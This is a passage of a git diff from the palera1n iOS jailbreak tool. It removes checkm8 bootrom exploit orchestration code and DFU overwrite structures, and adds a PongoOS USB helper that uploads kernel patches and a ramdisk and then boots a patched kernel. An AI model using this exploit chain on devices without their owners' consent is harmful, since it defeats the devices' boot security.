xargs_cmd); - issue_pongo_command(&handle, "bootx"); - - exit: - #ifdef _WIN32 - uninstall_libusbk_target(VID_APPLE, PID_DFU); - #endif - - atomic_store(&s->stage, STAGE_DONE); - atomic_store(&s->stop, true); - break; - } - - close_usb_handle(&handle); - return NULL; -} - -bool exploit(shared_t *state) -{ - pthread_t t1, t2; - #ifdef _WIN32 - pthread_t td; - #endif - - pthread_create(&t1, NULL, exploit_thread, state); - pthread_create(&t2, NULL, pongo_thread, state); - #ifdef _WIN32 - pthread_create(&td, NULL, driver_thread, state); - #endif - - while (!atomic_load(&state->stop)) { - sleep_ms(10); - } - - pthread_cancel(t1); - pthread_cancel(t2); - #ifdef _WIN32 - pthread_cancel(td); - #endif - - pthread_join(t1, NULL); - pthread_join(t2, NULL); - #ifdef _WIN32 - pthread_join(td, NULL); - #endif - - return atomic_load(&state->result) == 1; -} diff --git a/src/m8/run.h b/src/m8/run.h deleted file mode 100644 index e291cd6..0000000 --- a/src/m8/run.h +++ /dev/null @@ -1,44 +0,0 @@ -#ifndef RUN_H -#define RUN_H - -#include - -#ifdef __cplusplus -#include -using std::atomic_int; -using std::atomic_bool; -extern "C" { -#else -#include -#endif - -enum exploit_stage { - STAGE_RESET = 0, - STAGE_SETUP = 1, - STAGE_SPRAY = 2, - STAGE_PATCH = 3, - STAGE_YOLODFU = 4, - STAGE_PONGO = 5, - STAGE_DONE = 6, -}; - -#if defined(WITH_GUI) || defined(WITH_TUI) - -const char* stage_to_string(int stage); -int stage_to_progress(int stage); - -#endif // WITH_GUI || WITH_TUI - -typedef struct { - atomic_int result; - atomic_bool stop; - atomic_int stage; -} shared_t; - -bool exploit(shared_t *state); - -#ifdef __cplusplus -} -#endif - -#endif // RUN_H diff --git a/src/m8/stage1.h b/src/m8/stage1.h deleted file mode 100644 index ed7cc7e..0000000 --- a/src/m8/stage1.h +++ /dev/null @@ -1,31 +0,0 @@ -#ifndef STAGE1_H -#define STAGE1_H - -#include -#include - -#include "payload.h" - -typedef struct -{ - uint32_t endpoint, pad_0; - uint64_t io_buffer; - uint32_t status, io_len, ret_cnt, pad_1; - uint64_t callback, next; -} dfu_callback_t; - -typedef struct -{ - dfu_callback_t callback; -} checkm8_overwrite_t; - -bool generate_stage1( - void** outbuf, - size_t* outlen, - void* payload, - size_t payload_sz, - struct DeviceConfiguration *deviceConfig, - struct PayloadConfiguration *payloadConfig -); - -#endif // STAGE1_H diff --git a/src/main.cpp b/src/main.cpp index 48f9892..b035c94 100644 --- a/src/main.cpp +++ b/src/main.cpp @@ -1,3 +1,30 @@ +/* + * palera1n - https://palera.in + * + * Copyright (C) 2026 palera1n team + * + * SPDX-License-Identifier: MIT + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + * + */ + #include #include #include @@ -5,29 +32,34 @@ #include #include #include +#include // PRIx64 #ifdef WITH_GUI # include #endif -#include "m8/run.h" +#include "exploit.h" #ifdef WITH_TUI # include "tui/Tui.hpp" #endif -#include "utils.h" +#if WITH_CIDERRAIN +# include +extern "C" { +# include +} +#else +# include +#endif #include "globals.h" #include "paleinfo.h" -#ifdef _WIN32 -# include "usb/driver.h" -#endif -#include "usb/pongo_helper.h" +#include "pongo_helper.h" void print_credits() { printf( "::\n" ":: Palera1n beta " PALERAIN_VERSION "\n" "::\n" - ":: (c) 2026\n" + ":: Copyright (C) 2026 palera1n team\n" "::\n" ":: ======== Made by =======>\n" ":: Made by: asdfugil, kok3shidoll, claration, mineek\n" @@ -57,6 +89,7 @@ void print_usage(char* argv) { #endif " --dark-blockchain [f] Enable dark blockchain\n" " --force-revert [f] Force environment reversion\n" + " --force-enable-ssv [f] Force SSV detection to result in YES\n" " -l, --rootless [f] Enable rootless mode (standard)\n" " -f, --rootful [f] Boots fakefs\n" " -c, --setup-fakefs [f] Setup fake filesystem\n" @@ -70,12 +103,9 @@ void print_usage(char* argv) { " -K, --override-kpf Override kernel patchfinder\n" " -o, --override-overlay Override overlay\n" " -r, --override-ramdisk Override ramdisk\n" + " -d, --debug-logging Enable debug logging\n" " -n, --no-colors [f] Disable colors on the command line\n" " -q, --quick [f] Enable Quick Mode\n" - #ifdef _WIN32 - " --install-drivers Install libusbK drivers for PID\n" - " --remove-drivers Remove libusbK drivers for PID\n" - #endif , argv ); @@ -103,6 +133,7 @@ void parse_arguments(int argc, char* argv[]) { #endif {"dark-blockchain", no_argument, NULL, 4}, {"force-revert", no_argument, NULL, 5}, + {"force-enable-ssv", no_argument, NULL, 6}, {"rootless", no_argument, NULL, 'l'}, {"rootful", no_argument, NULL, 'f'}, {"setup-fakefs", no_argument, NULL, 'c'}, @@ -116,12 +147,9 @@ void parse_arguments(int argc, char* argv[]) { {"override-kpf", required_argument, NULL, 'K'}, {"override-overlay", required_argument, NULL, 'o'}, {"override-ramdisk", required_argument, NULL, 'r'}, + {"debug-logging", no_argument, NULL, 'd'}, {"no-colors", no_argument, NULL, 'n'}, {"quick", no_argument, NULL, 'q'}, - #ifdef _WIN32 - {"install-drivers", required_argument, NULL, 6}, - {"remove-drivers", required_argument, NULL, 7}, - #endif {NULL, 0, NULL, 0} }; @@ -149,19 +177,26 @@ void parse_arguments(int argc, char* argv[]) { # endif #endif - while ((options = getopt_long(argc, argv, "hvlfcBsTVpe:k:K:o:r:nq", long_options, &option_index)) != -1) { + while ((options = getopt_long(argc, argv, "hvlfcBsTVpe:k:K:o:r:dnq", long_options, &option_index)) != -1) { switch (options) { case 'h': // --help print_usage(argv[0]); exit(1); case 'v': // --version - printf("Palera1n beta " PALERAIN_VERSION " [USB: %s (openra1n)]\n", + #if WITH_CIDERRAIN + printf("Palera1n beta " PALERAIN_VERSION " [USB: %s (libcidera1n %s)]\n", + ra1n_show_usb_backend(), + ra1n_show_build_version() + ); + #else + printf("Palera1n beta " PALERAIN_VERSION " [USB: %s (libopenra1n)]\n", #ifdef __APPLE__ "IOKit" #else "libusb" #endif ); + #endif printf("%s (%s)\n", GIT_HASH, GIT_BRANCH); printf("Git: %s\n", GIT_URL); printf("Compiled on %s at %s\n", __DATE__, __TIME__); @@ -191,6 +226,9 @@ void parse_arguments(int argc, char* argv[]) { case 5: // --force-revert palerain_flags |= palerain_option_force_revert; break; + case 6: // --force-enable-ssv + palerain_flags |= palerain_option_ssv; + break; case 'l': // --rootless palerain_flags &= ~palerain_option_rootful; palerain_flags |= palerain_option_rootless; @@ -219,25 +257,25 @@ void parse_arguments(int argc, char* argv[]) { break; case 'e': // --extra-bootargs if (strlen(optarg) > (sizeof(boot_args) - 0x20)) { - LOG_ERROR("Boot arguments too long"); + LOG_ERROR("Boot arguments too long!"); exit(1); } snprintf(boot_args, sizeof(boot_args), "%s", optarg); break; case 'k': // --override-pongo if (!override_payload_from_file(optarg, &g_payload_pongo)) { - LOG_ERROR("Failed to load pongo payload\n"); + LOG_ERROR("Failed to load pongo payload, is the path correct?"); exit(1); } if (g_payload_pongo.data_len > PONGO_MAX_SZ) { - LOG_ERROR("Pongo payload too large: %zu bytes (max %zu)", g_payload_pongo.data_len, PONGO_MAX_SZ); + LOG_ERROR("Pongo payload is too large! %zu bytes (max %zu)", g_payload_pongo.data_len, PONGO_MAX_SZ); exit(1); } LOG("Overriding pongo payload with %s", optarg); break; case 'K': // --override-kpf if (!override_payload_from_file(optarg, &g_payload_kpf)) { - LOG_ERROR("Failed to load kpf payload\n"); + LOG_ERROR("Failed to load kpf payload, is the path correct?"); exit(1); } if (g_payload_kpf.data_len < 4 @@ -251,44 +289,27 @@ void parse_arguments(int argc, char* argv[]) { break; case 'o': // --override-overlay if (!override_payload_from_file(optarg, &g_payload_overlay)) { - LOG_ERROR("Failed to load overlay payload\n"); + LOG_ERROR("Failed to load overlay payload, is the path correct?"); exit(1); } LOG("Overriding overlay payload with %s", optarg); break; case 'r': // --override-ramdisk if (!override_payload_from_file(optarg, &g_payload_ramdisk)) { - LOG_ERROR("Failed to load ramdisk payload\n"); + LOG_ERROR("Failed to load ramdisk payload, is the path correct?"); exit(1); } LOG("Overriding ramdisk payload with %s", optarg); break; + case 'd': // --debug-logging + if (gDebugLevel < 5) gDebugLevel++; + break; case 'n': // --no-colors palerain_flags |= palerain_option_no_colors; break; case 'q': // --quick palerain_flags |= palerain_option_quick; break; - #ifdef _WIN32 - case 6: { // --install-drivers - unsigned short parsed_pid = (unsigned short)strtol(optarg, NULL, 16); - if (parsed_pid == 0) { - LOG_ERROR("Invalid PID value provided\n"); - exit(1); - } - install_libusbk_target(0x05AC, parsed_pid); - exit(0); - } - case 7: { // --remove-drivers - unsigned short parsed_pid = (unsigned short)strtol(optarg, NULL, 16); - if (parsed_pid == 0) { - LOG_ERROR("Invalid PID value provided\n"); - exit(1); - } - uninstall_libusbk_target(0x05AC, parsed_pid); - exit(0); - } - #endif case '?': LOG_ERROR("Unknown option\n"); print_usage(argv[0]); @@ -345,17 +366,24 @@ void parse_arguments(int argc, char* argv[]) { exit(1); } } + + // controls logging settings in our checkm8 libraries + if (palerain_flags & palerain_option_no_colors) gSilentLogs = false; + if (palerain_flags & palerain_option_tui) gSilentLogs = true; } int main(int argc, char* argv[], char* envp[]) { print_credits(); parse_arguments(argc, argv); - LOG("palera1n_flags: %llu", palerain_flags); + + LOG("Welcome to palera1n!"); + LOG("Reminder, this jailbreak IS designed for iOS 15+"); + LOG_DEBUG("palera1n_flags: 0x%" PRIx64, palerain_flags); // communicating with libusb on linux needs root #ifdef __linux__ if (geteuid() != 0) { - LOG_WARN("You are not running as root, this may cause issues when exploiting"); + LOG_ERROR("You are not running as root, this may cause issues when exploiting..."); } #endif @@ -384,6 +412,8 @@ int main(int argc, char* argv[], char* envp[]) { } #endif - shared_t state{}; - return exploit(&state); + int stage; + bool ret = exploit(&stage); + LOG("Thank you for using palera1n!"); + return ret; } diff --git a/src/paleinfo.h b/src/paleinfo.h index 47d35b9..20f03c3 100644 --- a/src/paleinfo.h +++ b/src/paleinfo.h @@ -18,12 +18,12 @@ typedef uint64_t palerain_option_t; #define palerain_option_rootful (UINT64_C(1) << 0) /* rootful jailbreak */ #define palerain_option_rootless (UINT64_C(1) << 1) /* rootless jailbreak */ #define palerain_option_setup_rootful (UINT64_C(1) << 2) /* create fakefs */ -// (UINT64_C(1) << 3) /* Deprecated and removed */ +/* reserved */ #define palerain_option_setup_partial_root (UINT64_C(1) << 4) /* fakefs creating should be partial */ #define palerain_option_checkrain_is_clone (UINT64_C(1) << 5) /* supplied checkra1n is checkra1n clone */ #define palerain_option_rootless_livefs (UINT64_C(1) << 6) /* mount root livefs on rootless */ -#define palerain_option_ssv (UINT64_C(1) << 7) /* has signed system volume */ -// (UINT64_C(1) << 8) /* reserved */ +#define palerain_option_ssv (UINT64_C(1) << 7) /* signed system volume */ +// #define palerain_option_force_fakefs (UINT64_C(1) << 8) /* force fakefs, even without SSV */ #define palerain_option_clean_fakefs (UINT64_C(1) << 9) /* clean fakefs, but does not delete it */ #define palerain_option_tui (UINT64_C(1) << 10) /* terminal user interface */ #define palerain_option_gui (UINT64_C(1) << 11) /* graphical user interface*/ @@ -45,11 +45,15 @@ typedef uint64_t palerain_option_t; // #define palerain_option_sf_ssh (UINT64_C(1) << 27) /* safe mode with bootstrap ssh */ // #define palerain_option_sf_launchdaemons (UINT64_C(1) << 28) /* safe mode with launchdaemons */ // #define palerain_option_emerg_mode (UINT64_C(1) << 29) /* emergency mode (early boot usb shell) */ -#define palerain_option_jbinit_log_to_file (UINT64_C(1) << 30) /* deprecated (kept for compatibility) */ +// #define palerain_option_jbinit_log_to_file (UINT64_C(1) << 30) /* deprecated (kept for compatibility) */ #define palerain_option_cli (UINT64_C(1) << 31) /* CLI mode */ -#define palerain_option_telnetd (UINT64_C(1) << 32) /* Enable TELNET daemon */ +#define palerain_option_telnetd (UINT64_C(1) << 32) /* Enable TELNET daemon (insecure) */ #define palerain_option_quick (UINT64_C(1) << 33) /* Quick mode */ +#define palerain_option_jbinit_log_to_file (UINT64_C(1) << 50) /* make ramdisk log to file (jbinit2) */ +#define palerain_option_setup_rootful_forced (UINT64_C(1) << 51) /* create fakefs over an existing one (jbinit2) */ + +#define palerain_option_failure (UINT64_C(1) << 60) /* something went wrong */ #define palerain_option_flower_chain (UINT64_C(1) << 61) /* Flower chain */ #define palerain_option_test1 (UINT64_C(1) << 62) /* Developer test option 1 */ #define palerain_option_test2 (UINT64_C(1) << 63) /* Developer test option 2 */ diff --git a/src/pongo_helper.c b/src/pongo_helper.c new file mode 100644 index 0000000..25bee53 --- /dev/null +++ b/src/pongo_helper.c @@ -0,0 +1,278 @@ +/* + * palera1n - https://palera.in + * + * Copyright (C) 2026 palera1n team + * + * SPDX-License-Identifier: MIT + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + * + */ + +#include "pongo_helper.h" + +#include +#include +#include +#include // PRIx64 + +#if WITH_CIDERRAIN +# include +# include +# include +#else +# include +# include +#endif + +#include "globals.h" +#include "paleinfo.h" + +p1_transfer_ret_t issue_pongo_command(const p1_usb_handle_t *handle, const char *command) +{ + p1_transfer_ret_t result; + + uint32_t outpos = 0; + uint32_t outlen = 0; + uint8_t in_progress = 1; + + char command_buf[512]; + char stdout_buf[0x2000]; + + memset(stdout_buf, 0, sizeof(stdout_buf)); + + if (command != NULL) { + size_t len = strlen(command); + + if (len > 510) { + LOG_ERROR("Pongo command too long: %s", command); + result.ret = 1; + return result; + } + + LOG_DEBUG("Executing PongoOS command: '%s'", command); + + snprintf(command_buf, sizeof(command_buf), "%s\n", command); + len = strlen(command_buf); + + #if WITH_CIDERRAIN + result = usb_ctrl_transfer(handle, 0x21, 4, 1, 0, NULL, 0); + if (result.ret != kUSBResponseSuccess) goto result; + result = usb_ctrl_transfer(handle, 0x21, 3, 0, 0, (uint8_t *)command_buf, len); + if (result.ret != kUSBResponseSuccess) goto result; + #else + result = send_interface_control_request(handle, 0x21, 4, 1, 0, NULL, 0); + if (result.ret != USB_TRANSFER_OK) goto result; + result = send_interface_control_request(handle, 0x21, 3, 0, 0, command_buf, len); + if (result.ret != USB_TRANSFER_OK) goto result; + #endif + + // return early if the command is boot, we dont care about results + if (strncmp(command,"boot",4) == 0) goto result; + } + + while (in_progress) { + #if WITH_CIDERRAIN + result = usb_ctrl_transfer(handle, 0xA1, 2, 0, 0, &in_progress, sizeof(in_progress)); + if (result.ret != kUSBResponseSuccess) goto result; + #else + result = send_interface_control_request(handle, 0xA1, 2, 0, 0, &in_progress, sizeof(in_progress)); + if (result.ret != USB_TRANSFER_OK) goto result; + #endif + + if (in_progress == 0) break; + + if (outpos + 0x1000 >= sizeof(stdout_buf)) { + memmove(stdout_buf, stdout_buf + 0x1000, sizeof(stdout_buf) - 0x1000); + outpos -= 0x1000; + } + + #if WITH_CIDERRAIN + result = usb_ctrl_transfer(handle, 0xA1, 1, 0, 0, stdout_buf + outpos, 0x1000); + if (result.ret != kUSBResponseSuccess) goto result; + #else + result = send_interface_control_request(handle, 0xA1, 1, 0, 0, stdout_buf + outpos, 0x1000); + if (result.ret != USB_TRANSFER_OK) goto result; + #endif + + outlen = 0x1000; + outpos += outlen; + } + + result: + return result; +} + +p1_transfer_ret_t upload_buffer_to_pongo(p1_usb_handle_t *handle, const void *data, size_t length) +{ + p1_transfer_ret_t result; + + if (data == NULL || length == 0) { + LOG_ERROR("Invalid data buffer or length"); + result.ret = -1; + goto result; + } + + LOG_DEBUG("Uploading %zu bytes to PongoOS...", length); + + #if WITH_CIDERRAIN + result = usb_ctrl_transfer(handle, 0x21, 1, 0, 0, (void *)&length, 4); + if (result.ret != kUSBResponseSuccess) { + LOG_ERROR("Failed to initiate PongoOS upload: %d", result.ret); + goto result; + } + result = usb_bulk_upload(handle, (uint8_t *)data, (uint32_t)length); + if (result.ret != kUSBResponseSuccess) { + LOG_ERROR("Failed to upload data to PongoOS: %d", result.ret); + goto result; + } + #else + result = send_interface_control_request(handle, 0x21, 1, 0, 0, (void *)&length, 4); + if (result.ret != USB_TRANSFER_OK || result.sz != 4) { + LOG_ERROR("Failed to initiate PongoOS upload: %d", result.ret); + goto result; + } + result = send_interface_bulk_transfer(handle, (void *)data, (uint32_t)length); + if (result.ret != USB_TRANSFER_OK || result.sz != length) { + LOG_ERROR("Failed to upload data to PongoOS: %d", result.ret); + goto result; + } + #endif + +result: + return result; +} + +p1_checkm8_err_t send_compressed_pongo(p1_usb_handle_t *handle, const uint8_t *pongo_bin, const size_t pongo_bin_length) +{ + uint8_t *pongo_lz4 = NULL; + size_t pongo_lz4_length = 0; + + if (!pongo_bin) { + LOG_ERROR("pongoOS is not loaded?"); + return 15; + } + + // pongo has been moved to sram, due to space constraints + // we need to make a self-decompressing payload before sending + #if WITH_CIDERRAIN + if (lz4_compress_pongo(pongo_bin, pongo_bin_length, &pongo_lz4, &pongo_lz4_length)) { + #else + if (!prepare_pongo(&pongo_lz4, &pongo_lz4_length, pongo_bin, pongo_bin_length)) { + #endif + // how on earth + LOG_ERROR("Failed to compress pongo image?"); + free(pongo_lz4); + return 15; + } + + p1_checkm8_err_t cr = + #if WITH_CIDERRAIN + ra1n_send_pongo(handle, pongo_lz4, pongo_lz4_length); + #else + checkm8_boot_pongo(handle, pongo_lz4, pongo_lz4_length); + #endif + + free(pongo_lz4); + + return cr; +} + +p1_checkm8_err_t send_full_pongo_jailbreak(p1_usb_handle_t *handle) +{ + p1_transfer_ret_t result; + + char paleinfo[64]; + snprintf(paleinfo, sizeof(paleinfo), "palera1n_flags 0x%" PRIx64, palerain_flags); + + char xargs_cmd[0x270]; + snprintf(xargs_cmd, sizeof(xargs_cmd), "xargs %s", boot_args); + if (palerain_flags & palerain_option_setup_rootful) { + strncat(xargs_cmd, " wdt=-1", sizeof(xargs_cmd) - strlen(xargs_cmd) - 1); + } + + result = issue_pongo_command(handle, "fuse lock"); + if (result.ret != 0) goto bad; + + result = issue_pongo_command(handle, "sep auto"); + if (result.ret != 0) goto bad; + + if (g_payload_kpf.data_len > 0) { + result = upload_buffer_to_pongo(handle, g_payload_kpf.data, g_payload_kpf.data_len); + if (result.ret != 0) goto bad; + + // embedded artifacts are lzma compressed, mostly for binary size + // this tells pongo to decompress after sending the KPF + // overwritten artifacts should not be compressed, so we always + // assume not compressed + if (g_payload_kpf.uncompressed_data_len > 0) { + char modload_cmd[64]; + snprintf(modload_cmd, sizeof(modload_cmd), "modload %zu", g_payload_kpf.uncompressed_data_len); + result = issue_pongo_command(handle, modload_cmd); + } else { + result = issue_pongo_command(handle, "modload"); + } + + if (result.ret != 0) goto bad; + } + + // palera1n specific flags + result = issue_pongo_command(handle, paleinfo); + if (result.ret != 0) goto bad; + + // this wont run by default if builds dont have a ramdisk (WITH_RAMDISK=0) + if (g_payload_ramdisk.data_len > 0) { + result = upload_buffer_to_pongo(handle, g_payload_ramdisk.data, g_payload_ramdisk.data_len); + if (result.ret != 0) goto bad; + + // embedded artifacts are lzma compressed, mostly for binary size + // this tells pongo to decompress after sending the ramdisk + // overwritten artifacts should not be compressed, so we always + // assume not compressed + if (g_payload_ramdisk.uncompressed_data_len > 0) { + char ramdisk_cmd[64]; + snprintf(ramdisk_cmd, sizeof(ramdisk_cmd), "ramdisk %zu", g_payload_ramdisk.uncompressed_data_len); + result = issue_pongo_command(handle, ramdisk_cmd); + } else { + result = issue_pongo_command(handle, "ramdisk"); + } + + if (result.ret != 0) goto bad; + } + + // this wont run by default if builds dont have a binpack (WITH_BINPACK=0) + if (g_payload_overlay.data_len > 0) { + result = upload_buffer_to_pongo(handle, g_payload_overlay.data, g_payload_overlay.data_len); + if (result.ret != 0) goto bad; + result = issue_pongo_command(handle, "overlay"); + if (result.ret != 0) goto bad; + } + + if (strlen(boot_args) > 0) { + result = issue_pongo_command(handle, xargs_cmd); + if (result.ret != 0) goto bad; + } + + result = issue_pongo_command(handle, "bootx"); + if (result.ret != 0) goto bad; + + return 0; +bad: + return 255; +} diff --git a/src/pongo_helper.h b/src/pongo_helper.h new file mode 100644 index 0000000..2ef3d33 --- /dev/null +++ b/src/pongo_helper.h @@ -0,0 +1,57 @@ +/* + * palera1n - https://palera.in + * + * Copyright (C) 2026 palera1n team + * + * SPDX-License-Identifier: MIT + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + * + */ + +#ifndef USB_PONGO_H +#define USB_PONGO_H + +#include +#include +#include + +#if WITH_CIDERRAIN +# include +# include +typedef client_t p1_usb_handle_t; +typedef transfer_t p1_transfer_ret_t; +typedef ra1n_client_err_t p1_checkm8_err_t; +#else +# include +# include +typedef usb_handle_t p1_usb_handle_t; +typedef transfer_ret_t p1_transfer_ret_t; +typedef checkm8_err_t p1_checkm8_err_t; +#endif + +#define PONGO_MAX_SZ (0x7fe00) +#define MACHO_MAGIC_32 (const unsigned char[]){ 0xCE, 0xFA, 0xED, 0xFE } +#define MACHO_MAGIC_64 (const unsigned char[]){ 0xCF, 0xFA, 0xED, 0xFE } +#define CMD_LENGTH_MAX 512 + +p1_checkm8_err_t send_compressed_pongo(p1_usb_handle_t *handle, const uint8_t *pongo_bin, const size_t pongo_bin_length); +p1_checkm8_err_t send_full_pongo_jailbreak(p1_usb_handle_t *handle); + +#endif // USB_PONGO_H diff --git a/src/sequence.cpp b/src/sequence.cpp index 43d803d..ae5d50d 100644 --- a/src/sequence.cpp +++ b/src/sequence.cpp @@ -1,7 +1,34 @@ +/* + * palera1n - https://palera.in + * + * Copyright (C) 2026 palera1n team + * + * SPDX-License-Identifier: MIT + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + * + */ + #if defined(WITH_GUI) || defined(WITH_TUI) #include -#include "gen/DFUHelperDeviceInfo.h" +#include "gen/embedded/DFUHelperDeviceInfo.h" #include "sequence.hpp" DfuSequence ParseSequence(const std::string& deviceKey) @@ -9,8 +36,9 @@ DfuSequence ParseSequence(const std::string& deviceKey) DfuSequence seq; static nlohmann::json j = nlohmann::json::parse( - DFUHelperDeviceInfo, - DFUHelperDeviceInfo + DFUHelperDeviceInfo_len + embedded_DFUHelperDeviceInfo_json, + embedded_DFUHelperDeviceInfo_json + + embedded_DFUHelperDeviceInfo_json_len ); auto itMap = j["devicemap"].find(deviceKey); diff --git a/src/sequence.hpp b/src/sequence.hpp index 4a88f8e..722265b 100644 --- a/src/sequence.hpp +++ b/src/sequence.hpp @@ -1,3 +1,30 @@ +/* + * palera1n - https://palera.in + * + * Copyright (C) 2026 palera1n team + * + * SPDX-License-Identifier: MIT + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + * + */ + #if defined(WITH_GUI) || defined(WITH_TUI) #ifndef SEQUENCE_H diff --git a/src/tui/Tui.cpp b/src/tui/Tui.cpp index 0b33696..ac50c6f 100644 --- a/src/tui/Tui.cpp +++ b/src/tui/Tui.cpp @@ -1,3 +1,30 @@ +/* + * palera1n - https://palera.in + * + * Copyright (C) 2026 palera1n team + * + * SPDX-License-Identifier: MIT + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + * + */ + #ifdef WITH_TUI #include "Tui.hpp" @@ -21,9 +48,8 @@ #include "TuiExploitPanel.hpp" #include "TuiBranding.hpp" #include "../globals.h" -#include "../utils.h" #include "../paleinfo.h" -#include "../event.hpp" +#include "../events/event.hpp" #define WIDTH 80 #define HEIGHT 24 diff --git a/src/tui/Tui.hpp b/src/tui/Tui.hpp index acbbd93..0f60b64 100644 --- a/src/tui/Tui.hpp +++ b/src/tui/Tui.hpp @@ -1,3 +1,30 @@ +/* + * palera1n - https://palera.in + * + * Copyright (C) 2026 palera1n team + * + * SPDX-License-Identifier: MIT + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS 